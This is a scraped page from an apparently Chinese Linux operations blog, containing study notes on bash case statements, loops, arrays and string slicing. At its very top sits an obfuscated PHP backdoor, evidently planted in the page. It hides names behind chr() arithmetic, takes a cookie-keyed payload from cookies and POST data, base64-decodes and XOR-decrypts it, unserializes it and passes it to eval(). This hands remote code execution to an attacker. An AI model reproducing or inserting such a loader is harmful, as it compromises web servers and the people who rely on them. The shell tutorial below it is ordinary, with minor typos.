$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} shell脚本:判断,循环及数组切片 | Linux运维部落

shell脚本:判断,循环及数组切片

条件判断:case语句
case 变量引用 in
PAT1)
;;
PAT2)
;;

*)
默认分支
;;
esac
case支持glob风格的通配符:
*: 任意长度任意字符
?: 任意单个字符
[]:指定范围内的任意单个字符
a|b: a或b
abc|efg : abc或efg

循环:
while 的特殊用法:
while read LINE;do
file=/path/to/somefile
指令
done < /path/to/somefile
读取文件中的第一行进行处理
$LINK 表示要处理文件的每行
********************************
break 条件成立就退出内循环但会正常执行外循环的后续指令,并进行下一轮的外循环
break 2 :直接退出外循环,退出脚本
continue :
条件成立就跳过本次内循环进行下一轮的内循环;内循环后面的指令不执行但外循环后面的指令可以继续
continue 2 退出内循环continue后面的内,外循环的指令都不执行;开始下一轮的外循环执行
***********************
for ((控制变量初始化;条件判断表达式;控制变量的修正表达式))
do
循环体
done

for 变量名 in 列表 ;do
循环体
done
for后是变量名不是变量引用所以不用加$
in 后面可以用指令“ls /boot” 或通配符不加”“ 位置变量”$@”
for i in {1..10};do
cat >>f1 <<-eof
xxx
eof
done
*****************************
在脚本最后加上wait 则在后台执行的程序时间到会自动终止
let 定义变量时 后面运算结果为0时返回假
let 命令i=0 i++ 则第二次循环会先看i的值再加1,i=0则返回假
let i++ 是先赋值(调用)i的值再加1
let ++i 是i先+1再赋值i
例:
i=3
a=$((i++) 先把i的值赋给a,然后i加1 ,所以a=3,i=4
b=$((++i) 先把i的值加1,i=5,再赋给b,b=5
*********************************
n=10 ;eval echo {1..$n}
eval会先识别{}里面的变量
for i in eval {1..$n};do
don
************************************
pgrep httpd 查看服务是否开启
killall -0 httpd &>/dev/null
-0 发信号检查错误为假则服务没有启动
while : ;do
if killall -0 httpd &>/dev/null ;then
:
else
sysemctl restart httpd
echo at `date +%F %T` restart httpd >>/path/to/*.logs
将执行记录在目录文件中
fi
sleep 10
done
里面的“:”是什么也不做的意思
************************************
自动创建菜单
PS3=”please choose the var(1-4) : ”
select var in baoyu yanwo ;do
case $var in
baoyu)
echo $var price is 1000
break
;;
yanwo)
….
;;
esac
done
配合case判断
$var :可以是列表中的每一个参数(自动生成)
PS3:提示输入符
选择是1则是把$var赋值为baoyu


数组名称
下标
数值索引:编号从0开始
关联数组:下标可以是任意字符串即关联索引的数组
稀疏格式 :索引不连续
访问数组里的变量要通过数组名和下标
声明数组
declare -a
declare -A 关联数组
普通数组:
数组名 下标 =”变量值”
var[0]=”ceo”
var[1]=”coo”
……
一次性赋值一个元素:
mane=(“mage” ”wang“)
交互式赋值:
read -a var
ceo cto boss
echo ${var[1]} cto
declare -a var
var【2】=ceo
filename=`ls /etc`
echo ${filename[*]}
同上也可以
filename=(/etc/*)
*********************
稀疏式赋值
关联数组赋值:
显示数组:
echo ${var} 默认是0(ceo)
echo ${var[1]}
echo ${name[0]}为mage
*********************************
查看数组所有元素:
ehco ${数组名[*]}
echo ${数组名[@]}
查看数组元素个数:
echo ${#v数组名【*】}
name[${#name[*]}]=x
给一个数组添加一个新值
name[数组元素个数]=x
unset 数组名 删除数组所有值
********************
字符串切片:
${#var}
: 3 跳过3个
: -3 只取倒数3个(单个负数要加空格)
:3:4 跳过3个取4个
:3:-4 除了前三后4只要中间
echo ${var#*word}
从左到右
#最左边第一个开始到第一次匹配到关键字结束的都删除
word为关键字可以为“:” “ ”空格不用加引号或单个字母
## 贪婪模式
最左边第一个开始到最后一次匹配到关键字结束的都删除
从右到左
echo ${var%:*}
%% 贪婪模式

从右到:左删除{var//root/wang}
贪婪模式配置到的都替换
查找并删除
${var/pattern}:删除var表示的字符串中第一次被pattern匹配到的字符串
${var//pattern}:删除var表示的字符串中所有被pattern匹配到的字符串
${var/#pattern}:删除var表示的字符串中所有以pattern为行首匹配到的字符串
${var/%pattern}:删除var所表示的字符串中所有以pattern为行尾所匹配到的字符串
字符大小写转换
${var^^}:把var中的所有小写字母转换为大写
${var,,}:把var中的所有大写字母转换为小写
#开头是
echo ${VAR/#root/wang}
以root开头非贪婪模式
%结尾是
ehco ${var/%root/wang}
以root结尾的替换非贪婪模式

间接变量引用
var=ceo
ceo=wang
eval echo \$$var(相当于$ceo)
wang
echo ${!var}
wang
cmd=hostname
$cmd则直接执行hostname

 

本文来自投稿,不代表Linux运维部落立场,如若转载,请注明出处:http://www.178linux.com/98577

(3)
上一篇 2018-05-15 11:21
下一篇 2018-05-15 17:24

相关推荐

  • 实验:正向主DNS实现 实验:反向解析DNS 实验:从DNS服务器实现

    实验:正向主DNS实现实验:反向解析DNS 实验:从DNS服务器实现 在主服务器vim /etc/named.confallow-transfer { slaveip;}; 加此行从服务器vim /etc/named.confallow-transfer { none;}; 加此行 vim /etc/named.rfc1912.zoneszone &#822…

    2018-06-01
  • 硬连接和软连接

    多情自古伤离别

    2018-04-04
  • 追风筝的人

    IO重定向 管道 tr 用户管理 组管理 文件权限管理 文本处理工具
    Grep和正则表达式 扩展的正则表达式和VIM

    Linux笔记 2018-04-08
  • 06葵花宝典之linux网络、进程管理和shell循环语句

    06葵花宝典之linux网络、进程管理和shell循环语句 作为服务器,其输入输出功能在大多数时候都是通过网络提供的,网络功能对于服务器而言是至关重要的。 一、OSI七层模型和TCP/IP四层模型 1、OSI七层模型 OSI七层模型是参考ISO(International Standard Organization国际标准化组织)所指定的一个用于通信系统间互…

    2018-04-15
  • 学习liunx 系统笔记

    服务器按应用功能可分为:web 服务器   数据库服务器   文件服务器  中间件应用服务器  日子服务器   监控服务器   程序版本控制服务器  虚拟机服务器     邮件服务器   打印服务器   域控制服务器  多媒体服务器  通讯服务器    ERP 服务器等! 服务器按外形可分为:塔式服务器   、机架式服务器  、刀片式服务器。  

    Linux笔记 2018-04-01